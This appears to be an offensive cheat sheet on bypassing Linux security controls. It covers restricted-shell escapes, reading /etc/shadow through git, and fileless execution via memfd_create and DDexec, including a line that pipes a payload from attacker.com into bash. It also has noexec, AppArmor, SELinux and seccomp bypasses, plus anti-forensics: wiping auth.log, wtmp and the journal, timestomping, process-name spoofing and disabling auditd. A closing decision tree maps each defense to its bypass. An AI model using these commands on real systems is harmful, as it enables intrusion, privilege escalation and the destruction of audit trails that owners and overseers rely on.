linux-security-bypass

# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash
 
# ed escape
ed
!/bin/bash
 
# nano (if available)
# Ctrl+R → Ctrl+X → command execution

# Overwrite shell via BASH_CMDS
BASH_CMDS[x]=/bin/bash
x
 
# Use env to spawn unrestricted shell
env /bin/bash
env -i /bin/bash
 
# PATH manipulation (if export is allowed)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/bin/bash
 
# If only specific commands are allowed:
# Use allowed command to read files
git log --oneline --all -p    # git can read arbitrary files
git diff /dev/null /etc/shadow

# DDexec overwrites the running process memory with a new binary
# No file written to disk — completely fileless
 
# Usage: pipe any ELF binary through DDexec
curl -sL https://attacker.com/payload | bash ddexec.sh
 
# How it works:
# 1. Opens /proc/self/mem for writing
# 2. Seeks to the text segment of the current process
# 3. Overwrites it with the target ELF binary
# 4. Jumps to the new entry point

import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0)     # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
    f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ)   # Bypasses noexec

# Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd

# Use the dynamic linker to execute from a writable mount
# Even if the binary's partition is noexec, ld.so runs from its own mount
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary
 
# Or from /dev/shm (usually writable + exec):
cp binary /dev/shm/binary
/dev/shm/binary

# Scripts still execute on noexec — only ELF execution is blocked
# The interpreter (python/perl/bash) runs from an exec-allowed mount
# and reads the script as data
 
python3 /noexec/mount/exploit.py      # Works
perl /noexec/mount/exploit.pl         # Works
bash /noexec/mount/exploit.sh         # Works
# But ./exploit (ELF binary) → "Permission denied"

# Common writable + exec-capable locations:
/dev/shm        # tmpfs — almost always writable + exec
/tmp            # Sometimes noexec on hardened systems
/var/tmp        # Often writable
/run            # tmpfs — check permissions
 
# Check mount options:
mount | grep -E "shm|tmp"
# Look for "noexec" flag — if absent, exec is allowed

# Check AppArmor status
aa-status 2>/dev/null
cat /sys/module/apparmor/parameters/enabled     # Y = enabled
cat /sys/kernel/security/apparmor/profiles      # List all profiles
 
# Check current process profile:
cat /proc/self/attr/current
# "unconfined" = no restriction
# "docker-default (enforce)" = Docker's default profile

# Find unconfined processes (inject via ptrace if root):
ps auxZ 2>/dev/null | grep unconfined
 
# Complain mode = effectively no restriction (just logging):
aa-status | grep complain

getenforce           # Enforcing / Permissive / Disabled
sestatus             # Detailed status
cat /etc/selinux/config   # Persistent configuration
 
# Check current context
id -Z
ps auxZ | head -20

semanage permissive -l 2>/dev/null    # Domains in permissive mode
ps -eZ | grep -i permissive           # Processes — can do anything (just logged)

ls -Z /tmp/                           # File contexts — tmp_t has broader access
sesearch --allow -t unconfined_t 2>/dev/null | head -30   # Transition rules
 
# Dangerous booleans that weaken SELinux:
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
# httpd_can_network_connect, allow_execmem

grep Seccomp /proc/self/status
# Seccomp: 0 = disabled, 1 = strict, 2 = filter
 
# Docker default seccomp profile blocks ~44 syscalls
# Check what's allowed:
./amicontained    # Shows blocked/allowed syscalls

# Seccomp filters often only check x86_64 syscall numbers
# x86 (32-bit) syscall numbers are different!
# If the filter doesn't check the architecture:
 
# Compile a 32-bit binary that uses x86 syscall numbers:
# x86_64 execve = 59, x86 execve = 11
# The filter blocks syscall 59 but not 11
 
gcc -m32 -static -o exploit32 exploit.c
# If the seccomp filter lacks AUDIT_ARCH_X86 check → bypass

# Modify file timestamps to hide changes
touch -r /etc/hosts /modified/file          # Copy timestamp from reference
touch -t 202301010000.00 /modified/file     # Set specific timestamp
 
# Modify log timestamps (if writable)
# Use timestomping to match surrounding entries

sed -i '/pattern/d' /var/log/auth.log     # Remove specific entries
echo "" > /var/log/wtmp                    # Clear login records
journalctl --rotate && journalctl --vacuum-time=1s   # Clear journal
 
# Process name spoofing (hide in ps output):
exec -a "[kworker/0:0]" /bin/bash          # Bash
# C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)
 
# Disable audit (if root):
auditctl -e 0 && service auditd stop

Security mechanism identified?
│
├── Restricted shell (rbash)?
│   ├── SSH access? → ssh -t "bash --noprofile --norc" (§1.1)
│   ├── Editor available? → vi :!/bin/bash (§1.2)
│   ├── Language interpreter? → python/perl/ruby escape (§1.3)
│   ├── env command? → env /bin/bash (§1.4)
│   └── Allowed commands with escape? → git/man/less → !bash (§1.5)
│
├── noexec filesystem?
│   ├── Script interpreters available? → bash/python/perl scripts work (§2.4)
│   ├── /dev/shm writable + exec? → copy binary there (§2.5)
│   ├── memfd_create available? → fileless execution (§2.2)
│   ├── ld.so accessible? → ld.so /path/to/binary (§2.3)
│   └── Last resort → DDexec via /proc/self/mem (§2.1)
│
├── AppArmor enforcing?
│   ├── Profile in complain mode? → no restriction, just logging (§3.3)
│   ├── Unconfined processes exist? → inject/migrate to them (§3.2)
│   ├── Profile missing path coverage? → use uncovered paths (§3.4)
│   └── Interpreter not restricted? → script-based execution
│
├── SELinux enforcing?
│   ├── Domain set to permissive? → exploit that domain (§4.2)
│   ├── Dangerous booleans enabled? → abuse allowed actions (§4.4)
│   ├── Context transition available? → execute binary with transition (§4.3)
│   └── Kernel CVE? → SELinux bypass exploit
│
├── seccomp filter active?
│   ├── Architecture check missing? → 32-bit syscall confusion (§5.2)
│   ├── Allowed syscalls exploitable? → sendmsg/mmap abuse (§5.3)
│   ├── Kernel bug? → io_uring/ptrace bypass (§5.4)
│   └── Check what's blocked → amicontained (§5.1)
│
└── Audit logging?
    ├── Writable logs? → delete/modify entries (§6.2)
    ├── Root access? → disable auditd (§6.4)
    ├── Need stealth? → process name spoofing (§6.3)
    └── File changes tracked? → timestamp manipulation (§6.1)